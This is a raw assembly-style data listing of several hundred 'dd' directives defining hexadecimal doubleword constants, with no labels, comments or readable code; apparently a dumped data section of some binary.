dd 3DF6B4E6h, 48577A25h, 28F67360h, 0A1ADFD27h, 6601A217h
dd 6D05C8ADh, 2D2C3F76h, 930992B1h, 94CB77FAh, 0A9B3FC1Bh
dd 0D2B4B8D3h, 24E67B88h, 0BC888C9Bh, 12DE6809h, 40731A01h
dd 80FFCEFCh, 2B573AABh, 975E25E9h, 50164479h, 7028E237h
dd 7A97F9F6h, 26489897h, 8C90FEC0h, 0AE064FF4h, 883951F8h
dd 36EE2EE5h, 0DAF749CFh, 0ED0320F3h, 3E846812h, 0A298BCDh
dd 82E33350h, 8422F284h, 2EB7EBCAh, 0C0AEB17h, 500C2C15h
dd 7E0C88F6h, 4743CF68h, 59EF40ADh, 0A780424Fh, 985EEC40h
dd 0E904C2A4h, 67488E66h, 0EAE4FD88h, 9771F69Dh, 0DB5CBCC7h
dd 5D89482Ch, 4D157704h, 0EDFAC026h, 3D39688Ah, 5162AFC9h
dd 0FE982CFh, 9747012Ah, 89CED92Dh, 72496DE9h, 0C3562BC3h
dd 0D795930Bh, 91C01E18h, 0A6615782h, 83B5316Bh, 0EC0C1B80h
dd 0C0C7A18h, 4573C32Dh, 0E1047E0Eh, 0EB0199A3h, 0ADE268EEh
dd 2D45001h, 6E746857h, 7C779588h, 0CDF68007h, 7FD54F82h
dd 687F516Eh, 46F67E4Fh, 0A77DF8D3h, 6BBCF34h, 6DC8CDC0h
dd 0CBEA322Ch, 6F0BE192h, 7DF2C2DDh, 1F6205ECh, 8EEB2927h
dd 0D4A9D6C8h, 0D1448990h, 3EAE17EDh, 0F5730767h, 9BE68230h
dd 2B836860h, 0CA9D41ECh, 5B0809F0h, 74013F5Ah, 0BF1810F8h
dd 1E47DC45h, 2E0BBA3h, 19D5BB2h, 2B69E9C7h, 0E9586C2Fh
dd 0DFE39695h, 0D1559A2Fh, 0F0EE397Eh, 3040A839h, 787C64Dh
dd 0CEFECFEEh, 0E4E9D8E4h, 0EE59C817h, 0CA0DD300h, 7B873Ah
dd 21ABBA52h, 0D00937AFh, 0CFF1F9BDh, 0E3A5E40Bh, 0AD0FFEBh
dd 607E58E5h, 0C6F50C56h, 374FFF38h, 0E04B3BC3h, 164FF1BEh
dd 99210B0Eh, 0BE163E56h, 0DD87BBC1h, 45B2FA57h, 9C1E7EF0h
dd 4D22CBF1h, 35016DF6h, 0DF04F59Eh, 0C4C5C53Bh, 969580B9h
dd 42126D41h, 704554Eh, 45E4922Ah, 6F4F1DF2h, 0F0B98751h
dd 0E941A012h, 4B40994h, 0E14B5783h, 0E3CAB026h, 67AC1636h
dd 447718E9h, 0D19B8BEh, 0F583798h, 0ABC4D77Ch, 0ED800310h
dd 88F5990Dh, 5C9A06A0h, 0D000FEE8h, 0B6527F2Ch, 6C25E9ECh
dd 626C7E89h, 1BFFE413h
dd 590CC9F9h, 0FA969A22h, 55C07C04h, 3191FA12h, 0C97CD327h
dd 0B378E2C9h, 2D5DBF09h, 8C8685DDh, 40A08552h, 71746B33h
dd 0F5D492DDh, 1988DDC5h, 167E2F6Ah, 0F43CF153h, 0DDF76683h
dd 0D6A39695h, 7E6D829Ch, 6465020Bh, 50C1272Dh, 21F7E0A4h
dd 34FCF2B8h, 0FCC97969h, 6F69983h, 22BC2BEAh, 226BBD1Ah
dd 0F63EC2F7h, 3E123817h, 0CAC1EF18h, 0C980BD22h, 685056DDh
dd 75242EB5h, 0C6020B11h, 0AB35C8E9h, 0F896DA69h, 68674014h
dd 0EDD7CAFBh, 0F3F80C3Dh, 1D9828E6h, 6C378B2Dh, 0C7681071h
dd 4C542E5Ah, 0FE012E09h, 0BFA342D4h, 6EBE86A0h, 0A004C33h
dd 3FF68146h, 0B078FD23h, 0C5E8A1EAh, 9A10C77Dh, 24BA4EABh
dd 2B12BAC1h, 0C204DEE9h, 0C3263972h, 0F8B0F2DCh, 21160F5Ch
dd 5BA5AD0h, 0BAC8317Bh, 20D58044h, 10D6E916h, 0BBC726F9h
dd 704EC23Dh, 8539E861h, 0CF43E90Dh, 24D19DFBh, 1E76055Dh
dd 0A1C46C97h, 9168E015h, 47F20C4h, 81AABAB0h, 71C7348Dh
dd 20B6DA8h, 0DAD817F7h, 3C30D7B4h, 23C0E1CFh, 0E764BFC7h
dd 505BF626h, 1C9E0B72h, 7E470174h, 18DB6718h, 0E4B6EBBh
dd 0E300E6ECh, 338D186Ch, 779EBC1h, 1466F304h, 0C6C075F5h
dd 580EF98Bh, 33009A8Ah, 0E92A1C13h, 3180672Fh, 416390E8h
dd 91926F1Ah, 8912C2E3h, 0DA685FD0h, 409716B2h, 5E5BDE0Dh
dd 2D66B656h, 0D25E765Eh, 0CA2519D2h, 655E5C7Ch, 9962FB82h
dd 606F582Bh, 65DAB85Fh, 1AF8499Eh, 0ECD0955Bh, 30DE5971h
dd 0EEFC4E73h, 0E90EAFB8h, 8BF129D0h, 578FE150h, 310DD840h
dd 0B7C4E7Eh, 0A8C10AD8h, 3D1D325Ah, 0DC2E69B8h, 0EC9302BBh
dd 947CD29Ch, 36BC6805h, 87E95744h, 4BD20597h, 0A52ED122h
dd 18C70B5Ch, 1862CC8Bh, 0D4343BDDh, 0A71D32BFh, 3D445756h
dd 0DEB09275h, 0D67C1285h, 0FEC10863h, 8E1E4227h, 0C2836482h
dd 0B05475E8h, 0E8894E5Ah, 0DC01B3D3h, 8452A2AEh, 57980D80h
dd 93385449h, 4E7D17BFh, 0EF9000E8h, 6F6027F8h, 0E692C895h
dd 0EAE31357h, 3071DD89h, 0A8C9EE8Bh, 369275D3h, 6E2C655Ch
dd 76655D52h, 0E8130126h, 3F847CF2h, 0C061268h, 7D33436Dh
dd 0F9861D6h, 78686652h, 0BC6B1397h, 0E9B189BDh, 4E9F68C9h
dd 0D04E59B8h, 3F91C29Fh, 9410E43Dh, 5229539h, 8BF3020h
dd 0F73181FFh, 1EF75003h, 0E43DFC6Ch, 521C995Ah, 11E4C331h
dd 872F4A4Ch, 0F1CB903Dh, 7265177Ch, 0C4C30812h, 0E7AB8448h
dd 62AC4F0h, 52E8CFD1h, 0F28AC14h, 5CD58851h, 886CEEDDh
dd 2C87D313h, 0D05BDCEBh, 49D685E9h, 8EAC108h, 6827C442h
dd 0F60D698Dh, 1819781h, 0CC2EF380h, 42F0AEBh, 3A34D4C8h
dd 0A285B1Ah, 630BB354h, 0A8EA5352h, 70380BB4h, 54274441h
dd 0F1816049h, 222D0B85h, 901D8902h, 48EFC1F6h, 5F803103h
dd 890611EBh, 99E9F91Fh, 0C202C7E9h, 0E10F9235h, 4503C30Eh
dd 0A43996B1h, 0D000E0D9h, 294FE760h, 0BC9A2FBh, 0A0B1D508h
dd 6B096517h, 30EC898Dh, 94EAF3F8h, 12F493A4h, 45D0EB29h
dd 97727CE9h, 3F551CA2h, 0E0A8C320h, 7A20FD2Eh, 0B25E18A9h
dd 563D0C1Eh, 1059778h, 3A71E9DDh, 96F5BDD0h, 8CD14C31h
dd 9600EA51h, 588345CEh, 0C1079D27h, 4477ED25h, 0C6E7C0E6h
dd 853573B8h, 3501125Dh, 40047CEEh, 0B735E9C4h, 0BCF5838Bh
dd 82DF8375h, 0BFC90B30h, 0F5AC57DAh, 7F5FC155h, 0E5FA043Dh
dd 0E2B200D8h, 0C29D6F4Fh, 62FB84E4h, 703CF0CDh, 0C368AFD6h
dd 0C7917AE9h, 0C1CEB8FCh, 7B29363Ch, 0A35B3BA3h, 2A64041Bh
dd 0C4EB562Bh, 51DA7174h, 0A44C401Ah, 0C1952848h, 0C93AF6E8h
dd 0E3AA4801h, 0E03F7A41h, 0AB0E2D21h, 0A16A123Bh, 66624898h
dd 7057E94h, 0B938C54Ch, 64CEBC70h, 0D55C0987h, 912D7A4Ch
dd 2DC51Ah, 4A4E30F6h, 0F2178936h, 0EF9FCE9h, 5416CF0Fh
dd 0EF1706F3h, 81A00704h, 32F0913h, 0C643C84Fh, 94AE959Ah
dd 0C7207AE6h, 3CB86F75h, 0F845484Eh, 0E196E215h, 0DF09163Ah
dd 31F9C75Bh, 6B80E049h, 4A1A35F6h, 927FA995h, 6DCE4068h
dd 194D0801h, 4808C231h, 0A05028F0h, 925CD2E9h, 44BF030Ch
dd 0DBF71E11h, 81B3A6E1h, 7D543518h, 25D47E32h, 95484C4Dh
dd 3BD3E210h, 0CCC51A55h, 55A6AB0Ch, 9BE91F38h, 0F59B0D60h
dd 9D1C98C7h, 5FD180Ch, 0C02B9100h, 0DDC2D7Bh, 5087A88h
dd 62A2103Eh, 7429BA5Ah, 0AA58A47Ah, 93103946h, 30DB50E2h
dd 9DADE309h, 85CF0229h, 0E2FF44C5h, 308A3E34h, 82064C8h
dd 9AFD59B7h, 48D54770h, 0A3A3540h, 29A47D57h, 72B988A1h
dd 132A680Fh, 0F74151B3h, 94B1F27Fh, 1BAF10D0h, 0E805BE4Bh
dd 0F5B449D2h, 212B3AEEh, 50125C8h, 0D1182638h, 2D8F30EFh
dd 4B4F015Eh, 120B2F54h, 2968DB8Ch, 0AC847EA6h, 0BD6F4403h
dd 24F52630h, 374A110h, 0ABAFF43Fh, 0CE10C301h, 5A00A2B2h
dd 0AA35D8F7h, 0F424D3DBh, 0DB380F31h, 0CCD96616h, 0EBB8453Eh
dd 0AA8035B0h, 0FE71F6D1h, 87029922h, 0F7652F0Ah, 767FC07Fh
dd 3AD093Ah, 852C23E9h, 6D2F6868h, 1258C778h, 7B9ABF55h
dd 42685C04h, 17049863h, 5A2F87BCh, 53C60066h, 1F42B8BBh
dd 0E9124B71h, 41BAE516h, 0D23EE075h, 9CFC3077h, 0A5FC1248h
dd 6873C1ABh, 30452B61h, 0D297CD10h, 4D6D6566h, 0CCD6745Ch
dd 1012DEE4h, 25A1373Bh, 0A22DD8CCh, 0C139D30Ah, 7CEBB8E9h
dd 8D1C9ED4h, 0D0EEC865h, 50A8E95Ah, 297AED27h, 0E17847F0h
dd 6B2B7601h, 0E1C1FE1Fh, 0CC3560Eh, 35170C85h, 0B04CFC7Dh
dd 0BF6DEAE9h, 0B105B314h, 0E5F18059h, 5DE28004h, 60C38CAEh
dd 12905892h, 8AB23979h, 49B3C72Ch, 0E3B4CC16h, 773B9207h
dd 4451B529h, 551677C9h, 27125B5Ch, 565123BAh, 81475B34h
dd 4ED5FD5h, 888DCCAEh, 3C9AE041h, 7E8977CCh, 0A09E8A8Fh
dd 0ABC85C4Eh, 0D14B4D0Bh, 0E53D21Eh, 0A212BDDEh, 0BE8DDF50h
dd 0ED3AE20Eh, 97A3B4FFh, 5A6C8A4Fh, 808B34EDh, 725ECD1h
dd 0C0634F15h, 0B80C00E4h, 73E01CCAh, 0C7442D40h, 3CEF0481h
dd 0BE22DE35h, 6C2CE109h, 0DD8182BDh, 4962E91Ah, 0C0CAB224h
dd 4226026Fh, 8509C2EEh, 0F0589C28h, 0E3549DF8h, 45896162h
dd 4792D08h, 0D509A7EAh, 0A187B61h, 0E9E830F2h, 5E43BA5Dh
dd 0F02609B1h, 0A9088A7Bh, 0F3D7962Ch, 25E890A7h, 104AC337h
dd 0F9A9144h, 0C66CF280h, 9D10B129h, 0DCCBE07Eh, 42D90445h
dd 2E09FE15h, 0CBB0B892h, 0B7D1B51Fh, 0DE637D40h, 0E981016Bh
dd 2460380h, 0AF06D941h, 2703DE2Fh, 2FC0B476h, 504050Bh
dd 0E007A2BBh, 82EF8440h, 7709A7CFh, 0F9BD58BCh, 0B47C8994h
dd 8FC45D2Eh, 0DF1AB20Eh, 2760ED4Dh, 603B2734h, 0ADC25701h
dd 103F852Fh, 4DFDDE68h, 3230E380h, 0F09D2977h, 30CA68CAh
dd 0BDE9040Bh, 0A8B8DC67h, 13C9E7B5h, 0F7D34B57h, 0F42D8564h
dd 0C7A0D6AEh, 10F72958h, 95DEB0A3h, 4443AF76h, 41CF1003h
dd 0CE64281Bh, 88FE0273h, 16234C5Eh, 0BD3D5E92h, 250F3DCDh
dd 0DD75C21Ah, 0E9871767h, 7F091738h, 0C224BE44h, 0E38F1E6Ch
dd 59CE0C1Bh, 3E1016BAh, 0C2D500E7h, 690664B7h, 3709A390h
dd 0D0539D77h, 0DF20555h, 0FE2C0208h, 3AC4B444h, 8A5F23CFh
dd 0E24E73F2h, 612A2A3Dh, 0ACEF3E66h, 0BA346298h, 9379EBBh
dd 0C032E3E9h, 9717A97Bh, 57616698h, 0DF102727h, 24E8B29Ah
dd 0C3948BE9h, 26891BACh, 653D74D8h, 8AE7D711h, 3CE9C16Ah
dd 0C7C981D6h, 0CF8078FAh
dd 0B8418665h, 94070236h, 0F545AEF9h, 61FE535Ch, 3AE0E7CFh
dd 0AF0070F6h, 0BB396107h, 0CB7272FBh, 95BB03B2h, 30EFE103h
dd 0A9F1F4B1h, 0C43EE22Ah, 0F2B8CB7Fh, 6ED30D9Eh, 0C9803B93h
dd 586575E4h, 0BA185C74h, 0B9C1CD43h, 5435700Fh, 513F9E29h
dd 0F17DDC08h, 22B626C0h, 9072C680h, 1CBE8444h, 0BD6A65CFh
dd 913A9912h, 417CD7A3h, 9C143D06h, 4F545E2Ch, 7CCD92CAh
dd 9EE0A4h, 49DF4595h, 0FE00DD05h, 0C7212894h, 0F0E95158h
dd 3C659B0Eh, 3B2A6791h, 0E52B99E6h, 1876B90Eh, 7A729904h
dd 0D8050D58h, 30DE25DCh, 6D0E4902h, 904F5C43h, 0EA01B7C4h
dd 219A0D89h, 604212B0h, 4A40E237h, 5295A008h, 214F252Bh
dd 0FF589E2h, 8A77E3DEh, 96F01C13h, 0B45725D5h, 5F5B2767h
dd 9D2650ECh, 34E7D4FEh, 624E7BD9h, 542F2513h, 0C2FBD233h
dd 0B716C3FFh, 6E982F96h, 6DD2359Ah, 4A009ABAh, 4370C9E4h
dd 5CBB0374h, 9B4DFD52h, 0C36F857h, 0BC24E727h, 38412CD2h
dd 4BE076Ah, 0C07C274Fh, 874E49F6h, 957DF095h, 2FAA7C8Dh
dd 6A8608A6h, 4321FDC3h, 0B693BE74h, 0C4ABE8F6h, 550BDBF5h
dd 542FF67Eh, 25D55189h, 34687B60h, 0B4E98033h, 0B9E37A4Fh
dd 35DBE07h, 0D5A8D439h, 0F082FEFEh, 0C6614053h, 25FB3F42h
dd 62236998h, 78B58C2Ch, 73D9E94Eh, 9630DD70h, 0FFF792B5h
dd 5A3A7238h, 0D5CABCFAh, 0AFF49397h, 0A96C5BCDh, 60F5895Fh
dd 35DEF63Ch, 8C6FEh, 0F728D6D9h, 224BB3E9h, 5AC93E8Ch
dd 7BB68C95h, 12B96556h, 4B71EF5Eh, 8C7A2BDDh, 215E5B6Fh
dd 5B0DEDB4h, 69028CDEh, 5EAA3004h, 0BEC90540h, 5E6DA943h
dd 1399B819h, 320DC501h, 94348B96h, 0B3494A13h, 8D11398h
dd 0E909468Ah, 6190DDE6h, 47273160h, 4420DD19h, 16EC685Eh
dd 0F234C6B5h, 5F051265h, 0F74F0079h, 7C9364D8h, 40001CBCh
dd 8F58992Dh, 97294EE3h, 0F05C11BEh, 0ABEED81Ah, 50615418h
dd 2F6C870Ch, 0EADC1082h, 0E91608A0h, 2CEEF0C0h, 162E26CCh
dd 894A8E01h, 82523409h, 0E0DEF7F4h, 2D6316ABh, 7E7027BAh
dd 17D112C3h, 0E78A0203h, 63627DFAh, 0DDA536C0h, 0F7B8E6C0h
dd 20ADE77h, 0E25A7435h, 72414023h, 0DD6573C3h, 96C73216h
dd 72D56847h, 453D88Ch, 0B78EB652h, 5A1B8288h, 0F696E1D7h
dd 6E5B716Ah, 86CD7BE6h, 33F8C47Ah, 0F0EE7612h, 70DA872Fh
dd 4F2FB79Fh, 0F4F7CEDFh, 0F805201Ch, 5D086653h, 31FC4FBh
dd 86653B8Eh, 40DFFC84h, 58122EB1h, 0F5E1559Ch, 48088BCAh
dd 80685D14h, 789D5A66h, 3F52EA49h, 0AD24EBB2h, 57C8BE6Fh
dd 0E425587Bh, 8B1AAA81h, 0AD1EC33h, 4EBA16C0h, 0BF1D1774h
dd 26946748h, 784927B6h, 22762035h, 2085B714h, 0C2800793h
dd 0A03EFEFFh, 0D028A9EAh, 65028E9h, 0B9A59E83h, 3D34AF81h
dd 79FD8902h, 312B8501h, 0CE8956E5h, 0B8FB49B4h, 34383D02h
dd 7220D725h, 26A43B2Fh, 8131E925h, 6E2C5949h, 0E1A956E0h
dd 8A65B93Bh, 3E0BBEF6h, 149AFDA0h, 0C5463CFFh, 0BCC6E927h
dd 885B13FFh, 9C921EBh, 5B4803EAh, 0BFA1C0ECh, 8C2754DAh
dd 7F5D5259h, 0D30FE6FEh, 0CE44FFA3h, 0A81D39C4h, 29892DB5h
dd 5D1EC4E5h, 5B385AC0h, 9C59EF68h, 9A8062ECh, 320CA50Fh
dd 0C8830D21h, 2077118Fh, 0B7D6A204h, 0EB831643h, 0C2DA084Ch
dd 6856125Bh, 82F6C531h, 0E8E67B3Bh, 3F8F7397h, 0D89DC2BCh
dd 0BC2E4D46h, 78D6AD29h, 4D7919FEh, 0C726F932h, 2B62A77Dh
dd 0C582185Dh, 4DB1207Bh, 3376112Fh, 0C1239DBEh, 0F654403Fh
dd 3ABDEE05h, 0D4BE77E2h, 5308157Eh, 0CA313E62h, 0ACEF68E0h
dd 0E18A3D27h, 0D9A5C35Fh, 0BF4286FCh, 2537448Fh, 0A06016E6h
dd 10028EE1h, 8CE9607Fh, 0BD35F39Dh, 10D54DA7h, 95C60194h
dd 7E4F55E4h, 72B9B501h, 468B0F5Ch, 915CF8DCh, 0D419A8E2h
dd 0BE59EA0h, 6FD6E1F0h, 0CBC4FC92h, 45B6E0BBh, 4C1063E9h
dd 0BF20A1h, 0C581CD87h, 79756F6Ch, 314FDE95h, 49D7F708h
dd 826A3D08h, 619705F0h, 6E49DDC7h, 8AD3A92Ch, 215D0182h
dd 0D5FAE9D8h, 586DA77Eh, 440F863Fh, 0B3BE041Ch, 0BC74E76Eh
dd 0EB2A1625h, 711E7BB9h, 5E33C91Ah, 4D9C9675h, 25028C8Bh
dd 73783B49h, 0DD251E5Eh, 0FD1F7F81h, 0FEB23ED2h, 9AD01DC9h
dd 0BE882A93h, 91E28BDh, 59E52743h, 1A350802h, 0C9BD9FF2h
dd 0B6A785Bh, 5A455271h, 43DAC227h, 5AD7A874h, 6F20F352h
dd 6B899DA7h, 6C451FF9h, 60BAFC90h, 4876FE63h, 11205355h
dd 34BE5F4Ah, 0E9397090h, 0A5C57A95h, 21AEC331h, 0C5FFFF1h
dd 31D640FCh, 68E62CBFh, 53534854h, 3E0C0DC1h, 0BE53C663h
dd 7C80B116h, 1E69EB81h, 13476B71h, 81410F3h, 0E76AE90Dh
dd 1F136E62h, 0B2B500FAh, 810AD651h, 9D28CD3Dh, 0E5811FC4h
dd 27956F6Ah, 5A14D20h, 0E93B8E14h, 31BAB090h, 555AD025h
dd 0AFEE6685h, 52009ECBh, 0FD5B91BAh, 4A5EE96Fh, 4E87AB84h
dd 3A872B21h, 5DEB8EDh, 5C35BE51h, 162DD4F0h, 0DEA02EEh
dd 0F1F1C83Ch, 5D1D3F96h, 5B986455h, 0B305EBBDh, 0AC056625h
dd 7A340518h, 1DC45D0Fh, 132EECC9h, 0A1D3FCE8h, 0B59D63Fh
dd 8B23F23Ah, 0B80CC457h, 80F52D1Dh, 1DCA5EF4h, 0A07296E2h
dd 415BB910h, 264B60EAh, 8880E80h, 0C3919BFh, 2C705501h
dd 324AC04Ch, 7F5368D2h, 49CABD59h, 205E20E9h, 0FD9AFB8Eh
dd 32CC2BA0h, 0DE02119Dh, 0E261132Ah, 7CEF4BB3h, 1A4D2A8Ch
dd 68C91C6Bh, 0F84C1CEh, 9537A6C8h, 9D59EE31h, 82DAEAD9h
dd 7F934CD6h, 5B13DDE5h, 4CB039E0h, 4920D6C7h, 39DEB900h
dd 0F181353Dh, 3F5D040Dh, 0E85EE95Bh, 71B25EE0h, 0B72388D2h
dd 103255D0h, 0D1005BDDh, 0E0EA81E2h, 217D694Fh, 6F84E74Fh
dd 93D0A2BFh, 0A0611872h, 7B7CB9B3h, 0F8775AD5h, 0F368E01Dh
dd 62319679h, 5D09A884h, 5962882h, 0C34880FEh, 36528B3Ah
dd 1DC8073Bh, 0C26C82A2h, 0DF5955D7h, 0C1851048h, 1CED5F58h
dd 6098F810h, 0A439C0DEh, 6E5CC35Bh, 71B5F478h, 3BA0E926h
dd 7CB6A300h, 27E8B050h, 2B7D852Ch, 0A19F324Dh, 5E6E68A4h
dd 687FCD6Bh, 0DAAEB4FEh, 5DD94AF0h, 907A7D61h, 0B51EB9Ch
dd 93126B28h, 930BC1BBh, 0DAF0EB97h, 0EFC1013Ch, 0B61B3006h
dd 80B7652Fh, 0A73257B4h, 0F1017F40h, 5D0881CAh, 0B623DFF7h
dd 13FD8D40h, 90659963h, 10C5E950h, 6F2EE1A9h, 26B19B34h
dd 6D81E26Fh, 800EFB11h, 9B419340h, 0D80DC20Dh, 29DE667Dh
dd 5186FF7h, 0A3B0D3E9h, 7A9316E8h, 0F5C1F2CDh, 44E3F63Ah
dd 3216ADAEh, 1AA2136h, 8A47DE92h, 0F188702Ch, 7E593D12h
dd 0C2385FEAh, 4A0A43EAh, 48DD560h, 792E882Fh, 55F202BBh
dd 1E202237h, 132DD047h, 2CE143E9h, 0B64AFAA2h, 0A6FF0574h
dd 0ABEC4E77h, 39B13686h, 4ED38131h, 8C455359h, 60489DB8h
dd 99D0C2C9h, 16F7C9Fh, 2A1E2CF6h, 4C843E42h, 4995D4EAh
dd 0EED55BD8h, 978B77BDh, 0DD7AB17Eh, 0DE95D816h, 0FF394782h
dd 2158151Ch, 0A575E9C2h, 9FC13677h, 849F444Ch, 8310E1BDh
dd 0DB1B5972h, 7E3BC302h, 7EDC2E97h, 586008A0h, 371B170Eh
dd 0B0E1950Dh, 5D280444h, 889D5061h, 2BD441E8h, 17176D1Fh
dd 50189DE2h, 7B0C2E81h, 881A4227h, 58140722h, 881713C4h
dd 0ACB761FAh, 0D2246395h, 3124CECAh, 0F8D442A9h, 0B464857Ch
dd 0CB89D1FAh, 50371223h, 0F9F752A2h, 0AE26845Fh, 0FBE511B2h
dd 9BA3F384h, 0BF32A014h
dd 0F74A00D5h, 0BCE909D8h, 5BD67E66h, 88D903E9h, 3A2538A7h
dd 1F7ABA98h, 0ADE3B99h, 160AC042h, 3A4F51Ah, 13BCBC02h
dd 0E50CDDF7h, 0FEDC9C4h, 2BFC64B7h, 27C8E465h, 0DF1F73C6h
dd 0DC590E2Dh, 10DBE863h, 62B8000Dh, 2D77F96Ch, 9408007Ch
dd 25D0F71Fh, 991F2B0Ch, 3F5F4041h, 68EDEB02h, 5D9AF520h
dd 0E916D816h, 7389D618h, 0C2F2F801h, 0E2EA8000h, 3E5A56F0h
dd 0B48B89EDh, 4EFD8DC2h, 3F4E9D33h, 0E0383509h, 0E405D7Eh
dd 5204370Fh, 6BC0E91Fh, 426A3BE5h, 39C4683Dh, 27FCC7Fh
dd 0EF933ECh, 0C35898E9h, 2D4E049Dh, 4CB85FAFh, 0BB441827h
dd 0F55DDF0Ch, 40B2C635h, 0B3975FA6h, 0A8084B49h, 0D143B12Bh
dd 87C2BE05h, 16D25556h, 2FC835A0h, 0A21EAA27h, 861FE779h
dd 10C0297h, 48461C94h, 2A15CDE9h, 0F129FD44h, 2EF932BEh
dd 52148DF4h, 151801F0h, 1CBA743Ch, 72890BA5h, 0BB52F705h
dd 2C3FCC9Dh, 3E92172Dh, 460EF9BFh, 801C1DA3h, 0F3CF4DC3h
dd 0D0636968h, 31BB073Bh, 0A507D66Ch, 308AB078h, 7B34D377h
dd 0BE0022D2h, 67B75155h, 29CA0581h, 834D341Dh, 0E5E1EAE7h
dd 3D056008h, 0FAA2D18h, 304D5D18h, 120C5B9Ch, 0F528B9F3h
dd 4E24A789h, 0BD45FB57h, 0E1085692h, 0D4FA6180h, 1B8EA84Eh
dd 5C096CAFh, 0B33A33C7h, 89FBE2EDh, 9616C556h, 0EC9EC458h
dd 0ABE210A9h, 9905AC2Dh, 0EBFDC2E4h, 0C1077A75h, 6ED8F164h
dd 2AA9F9C1h, 20A8A912h, 0A858FAA3h, 3AE95A46h, 0BBA8E3B1h
dd 6DC7139Dh, 113F8F2h, 91508CDh, 4BD98706h, 33829D06h
dd 5804CE51h, 683EDCFFh, 0D327B524h, 62920694h, 715DEA8Eh
dd 6C1349B2h, 4E228C42h, 0C85604BFh, 0DFDDFBF6h, 6C40716Eh
dd 68C3836Fh, 0AC781354h, 0A3CBBBh, 7C6AB8F6h, 2F28926h
dd 0E955505Eh, 0C79BAE9Dh, 0F4379CD3h, 750976CFh, 0F9FF2C66h
dd 0BAED3407h, 0D1F64B9Fh, 1583839Ch, 38A1685Ah, 2F6382D1h
dd 1F09B2CCh, 572FBB3Bh, 5D1C4E2Ah, 8DC226C9h, 0F0DCA083h
dd 81D5D377h, 0D0011FADh, 0D4C2F6D2h, 9330F729h, 2A4B2D68h
dd 17C8B58Ch, 0F41FFE41h, 27CBB86h, 0B8E9440Eh, 64FE17CCh
dd 0EEBB1756h, 2482DA39h, 0C780FFB4h, 7234E7E0h, 948BED99h
dd 0A5BFD3D7h, 569D38F8h, 4A5E720Eh, 887661C0h, 3F0DB80Bh
dd 135C78F9h, 11DEC302h, 45C10FD4h, 45BA00B8h, 2D4A2710h
dd 0A01C2075h, 0BFB759BEh, 0F90A0452h, 91465FE9h, 2D5EF080h
dd 590A1E4Fh, 7A135315h, 0B88A90FFh, 4E5F1843h, 80D261F1h
dd 0E1787293h, 4584C19Ah, 7B404A70h, 80001F5h, 0B14E21E9h
dd 80020221h, 40F7A6F2h, 96CAFE71h, 51505850h, 0B8EECFA6h
dd 33552A00h, 5E02057Ch, 56390E63h, 22C4FCBEh, 0BFB5BE6Ah
dd 0F9154F41h, 1B13EC7Dh, 0C565AED6h, 4BC8EB01h, 43A357Eh
dd 101F48D2h, 97EA8012h, 0B6E3C4Ah, 0A1E9C201h, 0BA388C72h
dd 1E34162Eh, 5A674BBBh, 1655206Ah, 844F3042h, 5BA0B90Ah
dd 310A6C09h, 862286CFh, 0FCEFAA7h, 8972974Dh, 8B89E9B2h
dd 7F54E2B0h, 0A4F634E6h, 12A36E59h, 2EA22FF1h, 0B1B2FC92h
dd 0DA6CE7E9h, 534F9F76h, 1FBC8F17h, 0C5D7A9B2h, 0D4880B2Ah
dd 0F80DD705h, 54A74EB4h, 0D2E1B95Ah, 365739FAh, 5BB65C6Ah
dd 0CEF522ECh, 1C8A44DAh, 0CA00DBAh, 0E23067E7h, 64B53C7Eh
dd 30FB422h, 2F3E3618h, 0F49B6001h, 0F5892D7Dh, 93D8B3Eh
dd 590123C1h, 18708920h, 0FC2D0ED3h, 0FE765879h, 2699F781h
dd 1701DE5Dh, 0A2A840F4h, 20180E48h, 37C1E3BFh, 178F1B1Dh
dd 0C98305BEh, 1BB3954h, 3ECA6264h, 0EAF2CF29h, 99FD0889h
dd 1D6A2A6Dh, 5975F245h, 0E2288287h, 807D48CDh, 2FC9817Eh
dd 0C270970Dh, 5AC9F85Dh, 6E42B0h, 5D5FEC3Bh, 6853C331h
dd 2B42F724h, 2DBB5665h, 10AB7988h, 29481F9Dh, 0AD42C125h
dd 330A2055h, 0BD1BE01Ch, 0BB0057C2h, 2207677Ah, 0E5A1015Ah
dd 0E95F0800h, 0C81361BFh, 0CCA7E680h, 0ABF602F6h, 13766049h
dd 27CC15BBh, 0B00B4CB6h, 0FC07BE5Ah, 7F2916E9h, 95D34692h
dd 11524B0Eh, 9C1E2101h, 4D32936h, 495A0809h, 186C107Bh
dd 813BB85Bh, 141C7FE8h, 8F5246F9h, 661F6188h, 0B1343C25h
dd 6E4D1E15h, 8D656631h, 3E48CCC1h, 0E5209E87h, 9558E230h
dd 0B38EF4FEh, 87DC0B29h, 51EB8820h, 17FCACB9h, 5A61DC3Dh
dd 165F292Fh, 545625F1h, 0F5D20B56h, 0A29EBDC2h, 70B0F7CBh
dd 0C62D05CDh, 626CD319h, 83C48FA2h, 85E95712h, 62ACDFC2h
dd 0FA727748h, 8213D45Ah, 89A4F3F8h, 0E8B67F02h, 41F8B880h
dd 530B6799h, 0A3C13FE9h, 2F20997h, 4114CAD8h, 4A4038F3h
dd 5518227Bh, 0C21F012Dh, 0D6021D39h, 3084BC57h, 0A1052A94h
dd 63B12A4Bh, 1702F62Ah, 9466CE2Eh, 0B43F90A8h, 0DD615290h
dd 8FD4282Eh, 0DC53295Eh, 0B5967DFh, 0A3123982h, 6425BA00h
dd 3D6B0C2h, 0D85675EAh, 0B19BE928h, 0B9F3EA84h, 61B3B74Eh
dd 514422CAh, 54A66A20h, 3CF7834Fh, 56AF93D0h, 0DBE7DF48h
dd 18DF1A16h, 94486B40h, 5FFA31B9h, 59FFD5Fh, 1E883221h
dd 8805E982h, 3902A007h, 4311EB71h, 165DD912h, 59E5D671h
dd 65F55F81h, 25572151h, 0A8ADFBE0h, 7D9976DBh, 2F33CC2h
dd 6C3F888h, 0A3B7C6A3h, 0D8D2585Ah, 96567A41h, 3DADC75Dh
dd 0D9F1BF7Fh, 0D88AE9E2h, 5455256Eh, 0D376CF7Ch, 95E2B341h
dd 0E9EAC189h, 0DA50FC5Ch, 0E5CD881Dh, 0D74575F2h, 405BE989h
dd 27685FE0h, 38D66B15h, 9F665E51h, 28172C07h, 0AB96CED8h
dd 9EFF8513h, 25644C4Ch, 3CE5263h, 0F7EAD107h, 7EEA4AD2h
dd 0E601F6F9h, 5E4F2A2Fh, 4A9EF27Fh, 922DE7B7h, 0AB5B9F84h
dd 680CC8F3h, 86D33F61h, 72316540h, 891F1CDh, 3E084587h
dd 0D27E83E2h, 0F1FC0921h, 0CF09A7Dh, 278057A4h, 16D52DEEh
